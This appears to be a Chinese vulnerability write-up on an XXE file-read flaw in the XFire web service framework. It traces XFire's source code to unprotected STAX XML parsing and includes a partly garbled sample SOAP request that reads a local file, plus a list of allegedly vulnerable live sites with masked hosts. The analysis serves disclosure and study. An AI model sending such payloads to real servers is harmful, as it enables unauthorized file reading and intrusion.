php调用带验证的xfire,Xfire文件读取漏洞

xfire是流行的webservice开发组件,其在invoke时使用了STAX解析XML导致XML实体注入发生(其实标题应该是XXE的,不过那样太明显了^_^)。org\codehaus\xfire\transport\http\XFireServlet.java中:

public void init()

throws ServletException

{

try

{

super.init();

xfire = createXFire();

controller = createController();

}

catch (Throwable tx)

{

// log.er

logger.error("Error initializing XFireServlet.", tx);

throw new ServletException("Error initializing XFireServlet.", tx);

}

}public XFireServletController createController()

throws ServletException

{

return new XFireServletController(xfire, getServletContext());

}protected void doGet(HttpServletRequest request,

HttpServletResponse response)

throws ServletException, IOException

{

controller.doService(request, response);

}/**

* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.

*/

protected void doPost(HttpServletRequest req, HttpServletResponse res)

throws ServletException, IOException

{

controller.doService(req, res);

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

publicvoidinit()

throwsServletException

{

try

{

super.init();

xfire=createXFire();

controller=createController();

}

catch(Throwabletx)

{

// log.er

logger.error("Error initializing XFireServlet.",tx);

thrownewServletException("Error initializing XFireServlet.",tx);

}

}publicXFireServletControllercreateController()

throwsServletException

{

returnnewXFireServletController(xfire,getServletContext());

}protectedvoiddoGet(HttpServletRequestrequest,

HttpServletResponseresponse)

throwsServletException,IOException

{

controller.doService(request,response);

}/**

* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.

*/

protectedvoiddoPost(HttpServletRequestreq,HttpServletResponseres)

throwsServletException,IOException

{

controller.doService(req,res);

}

在doGet与doPost方法中调用了 controller.doService(req, res),定义如下(org\codehaus\xfire\transport\httpXFireServletController.java):

public void doService(HttpServletRequest request,

HttpServletResponse response)

throws ServletException, IOException

{

String serviceName = getService(request);

if (serviceName == null) serviceName = "";ServiceRegistry reg = getServiceRegistry();response.setHeader("Content-Type", "UTF-8");try

{

requests.set(request);

responses.set(response);boolean hasService = reg.hasService(serviceName);

if (serviceName.length() == 0 || !hasService)

{

if (!hasService)

{

response.setStatus(404);

}generateServices(request,response);

return;

}if (isWSDLRequest(request))

{

generateWSDL(response, serviceName);

}

else

{

invoke(request, response, serviceName);

}

}

catch (Exception e)

{

logger.error("Couldn't invoke servlet request.", e);if (e instanceof ServletException)

{

throw (ServletException) e;

}

else

{

throw new ServletException(e);

}

}

finally

{

requests.set(null);

responses.set(null);

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

publicvoiddoService(HttpServletRequestrequest,

HttpServletResponseresponse)

throwsServletException,IOException

{

StringserviceName=getService(request);

if(serviceName==null)serviceName="";ServiceRegistryreg=getServiceRegistry();response.setHeader("Content-Type","UTF-8");try

{

requests.set(request);

responses.set(response);booleanhasService=reg.hasService(serviceName);

if(serviceName.length()==0||!hasService)

{

if(!hasService)

{

response.setStatus(404);

}generateServices(request,response);

return;

}if(isWSDLRequest(request))

{

generateWSDL(response,serviceName);

}

else

{

invoke(request,response,serviceName);

}

}

catch(Exceptione)

{

logger.error("Couldn't invoke servlet request.",e);if(einstanceofServletException)

{

throw(ServletException)e;

}

else

{

thrownewServletException(e);

}

}

finally

{

requests.set(null);

responses.set(null);

}

}

其中的invoke(request, response, serviceName)根据URI中获取到的serviceName来调用services.xml中定义的class:

protected void invoke(HttpServletRequest request,

HttpServletResponse response,

String service)

throws ServletException, IOException, UnsupportedEncodingException

{

response.setStatus(200);

response.setBufferSize(1024 * 8);MessageContext context = createMessageContext(request, response, service);

Channel channel = createChannel(context);String soapAction = getSoapAction(request);

String contentType = request.getContentType();

if (null == contentType)

{

response.setContentType("text/html; charset=UTF-8");

// TODO: generate service description hereresponse.getWriter().write("

Invalid SOAP request.");

response.getWriter().close();

}

……

else

{

// Remove " and ' char

String charEncoding = request.getCharacterEncoding();

charEncoding = dequote(charEncoding);

XMLStreamReader reader =

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);InMessage message = new InMessage(reader, request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION, soapAction);

channel.receive(context, message);try

{

reader.close();

}

catch (XMLStreamException e)

{

throw new XFireRuntimeException("Could not close XMLStreamReader.");

}

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

protectedvoidinvoke(HttpServletRequestrequest,

HttpServletResponseresponse,

Stringservice)

throwsServletException,IOException,UnsupportedEncodingException

{

response.setStatus(200);

response.setBufferSize(1024*8);MessageContextcontext=createMessageContext(request,response,service);

Channelchannel=createChannel(context);StringsoapAction=getSoapAction(request);

StringcontentType=request.getContentType();

if(null==contentType)

{

response.setContentType("text/html; charset=UTF-8");

// TODO: generate service description hereresponse.getWriter().write("

Invalid SOAP request.");

response.getWriter().close();

}

……

else

{

// Remove " and ' char

StringcharEncoding=request.getCharacterEncoding();

charEncoding=dequote(charEncoding);

XMLStreamReaderreader=

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);InMessagemessage=newInMessage(reader,request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION,soapAction);

channel.receive(context,message);try

{

reader.close();

}

catch(XMLStreamExceptione)

{

thrownewXFireRuntimeException("Could not close XMLStreamReader.");

}

}

}

在这里程序从数据流request.getInputStream()中读取内容,赋值给XMLStreamReader对象reader:

public static XMLStreamReader createXMLStreamReader(InputStream in, String encoding, MessageContext ctx)

{

XMLInputFactory factory = getXMLInputFactory(ctx);if (encoding == null) encoding = "UTF-8";try

{

return factory.createXMLStreamReader(in, encoding);

}

catch (XMLStreamException e)

{

throw new XFireRuntimeException("Couldn't parse stream.", e);

}

}XMLStreamReader reader =

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);

1

2

3

4

5

6

7

8

9

10

11

12

13

14

publicstaticXMLStreamReadercreateXMLStreamReader(InputStreamin,Stringencoding,MessageContextctx)

{

XMLInputFactoryfactory=getXMLInputFactory(ctx);if(encoding==null)encoding="UTF-8";try

{

returnfactory.createXMLStreamReader(in,encoding);

}

catch(XMLStreamExceptione)

{

thrownewXFireRuntimeException("Couldn't parse stream.",e);

}

}XMLStreamReaderreader=

STAXUtils.createXMLStreamReader(request.getInputStream(),

charEncoding,

context);

这里已经有了XMLStreamReader,但是程序还没有解析XML,继续跟入,将reader写入message:

public InMessage(XMLStreamReader xmlStreamReader, String uri)

{

this.xmlStreamReader = xmlStreamReader;

setUri(uri);

setEncoding(xmlStreamReader.getCharacterEncodingScheme());

}InMessage message = new InMessage(reader, request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION, soapAction);

channel.receive(context, message);

1

2

3

4

5

6

7

8

publicInMessage(XMLStreamReaderxmlStreamReader,Stringuri)

{

this.xmlStreamReader=xmlStreamReader;

setUri(uri);

setEncoding(xmlStreamReader.getCharacterEncodingScheme());

}InMessagemessage=newInMessage(reader,request.getRequestURI());

message.setProperty(SoapConstants.SOAP_ACTION,soapAction);

channel.receive(context,message);

调用channel.receive(context, message),receive()实现方法在org\codehaus\xfire\transport\AbstractChannel.java中:

public void receive(MessageContext context, InMessage message)

{

if (message.getChannel() == null)

message.setChannel(this);getEndpoint().onReceive(context, message);

}

1

2

3

4

5

publicvoidreceive(MessageContextcontext,InMessagemessage)

{

if(message.getChannel()==null)

message.setChannel(this);getEndpoint().onReceive(context,message);

}

调用了getEndpoint().onReceive(context, message)在org\codehaus\xfire\util\jdom\JDOMEndpoint.java实现:

public class JDOMEndpoint

implements ChannelEndpoint

{

private int count = 0;

private Document message;public void onReceive(MessageContext context, InMessage msg)

{

StaxBuilder builder = new StaxBuilder();

try

{

message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));

}

catch (XMLStreamException e)

{

e.printStackTrace();

}

count++;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

publicclassJDOMEndpoint

implementsChannelEndpoint

{

privateintcount=0;

privateDocumentmessage;publicvoidonReceive(MessageContextcontext,InMessagemsg)

{

StaxBuilderbuilder=newStaxBuilder();

try

{

message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));

}

catch(XMLStreamExceptione)

{

e.printStackTrace();

}

count++;

}

最终程序又从msg中读出了reader,使用STAX解析了XML:

message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));

1

message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));

org\codehaus\xfire\util\jdom\StaxBuilder.java

public Document build(XMLStreamReader r)

throws XMLStreamException

{

/*

* Should we do sanity checking to see that r is positioned at

* beginning? Not doing so will allow creating documents from sub-trees,

* though?

*/

JDOMFactory f = factory;

if (f == null)

{

f = new UncheckedJDOMFactory();

}

Document doc = f.document(null);

buildTree(f, r, doc);

return doc;

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

publicDocumentbuild(XMLStreamReaderr)

throwsXMLStreamException

{

/*

* Should we do sanity checking to see that r is positioned at

* beginning? Not doing so will allow creating documents from sub-trees,

* though?

*/

JDOMFactoryf=factory;

if(f==null)

{

f=newUncheckedJDOMFactory();

}

Documentdoc=f.document(null);

buildTree(f,r,doc);

returndoc;

}

以上的流程简单化可以用以下代码取代:

import **.**.**.**.IOException;

import **.**.**.**.InputStream;

import javax.xml.stream.XMLInputFactory;

import javax.xml.stream.XMLStreamReader;

import javax.xml.stream.XMLStreamException;

import org.codehaus.xfire.util.jdom.StaxBuilder;public class DoXML {

private static String url="build.xml";

public static void testXMLStreamReader() throws IOException {

try {

XMLInputFactory factory = XMLInputFactory.newInstance();

InputStream in = DoXML.class.getClassLoader().getResourceAsStream(url);

XMLStreamReader reader = factory.createXMLStreamReader(in);

StaxBuilder builder = new StaxBuilder();

builder.build(reader);

}

catch (Exception e) {

e.printStackTrace();

}

}

public static void main(String[] argv)throws IOException{

testXMLStreamReader();

}

}

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

import **.**.**.**.IOException;

import **.**.**.**.InputStream;

importjavax.xml.stream.XMLInputFactory;

importjavax.xml.stream.XMLStreamReader;

importjavax.xml.stream.XMLStreamException;

importorg.codehaus.xfire.util.jdom.StaxBuilder;publicclassDoXML{

privatestaticStringurl="build.xml";

publicstaticvoidtestXMLStreamReader()throwsIOException{

try{

XMLInputFactoryfactory=XMLInputFactory.newInstance();

InputStreamin=DoXML.class.getClassLoader().getResourceAsStream(url);

XMLStreamReaderreader=factory.createXMLStreamReader(in);

StaxBuilderbuilder=newStaxBuilder();

builder.build(reader);

}

catch(Exceptione){

e.printStackTrace();

}

}

publicstaticvoidmain(String[]argv)throwsIOException{

testXMLStreamReader();

}

}

控制build.xml即可进行XXE:

ebf39088ef89bbeb1dc4e5cb615b4854.png

下面使用xfire实例进行测试,本地搭建了一个基于xfire的webservice实现了一个hello方法:

d7cc4ff1568c59eee89d434f32dbfa8d.png

f23fcdfd56ab583697ff28ea866d7ce5.png

直接发送以下数据包即可读取d:/xxetest.txt内容:

POST **.**.**.**:800/services/xfire_xxe_test HTTP/1.0

SOAPAction: ""

Content-Type: text/xml<?xml version="1.0" encoding="UTF-8"?>]>

0 &a;

1

2

3

4

5

6

7

8

9

10

11

POST **.**.**.**:800/services/xfire_xxe_testHTTP/1.0

SOAPAction:""

Content-Type:text/xml<?xmlversion ="1.0"encoding="UTF-8"?>]>

0&a;

9be17e22ce2d4a22a13a512a0d749fbf.png

325bd98001d5416c8f497710a084f47f.png

Xfire使用得很广泛,特别是在一些通用程序中,简单列几个受影响的站点:

http://**.**.**.**/live800/services/IVerification?wsdl

http://**.**.**.**/juas/services/batchSSOUserService?wsdl

http://**.**.**.**:9080/mds/services/DataService?wsdl

http://**.**.**.**/was/services/LianDongService?wsdl

http://**.**.**.**/swwas/services/LianDongService?wsdl

1

2

3

4

5

http://**.**.**.**/live800/services/IVerification?wsdl

http://**.**.**.**/juas/services/batchSSOUserService?wsdl

http://**.**.**.**:9080/mds/services/DataService?wsdl

http://**.**.**.**/was/services/LianDongService?wsdl

http://**.**.**.**/swwas/services/LianDongService?wsdl

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值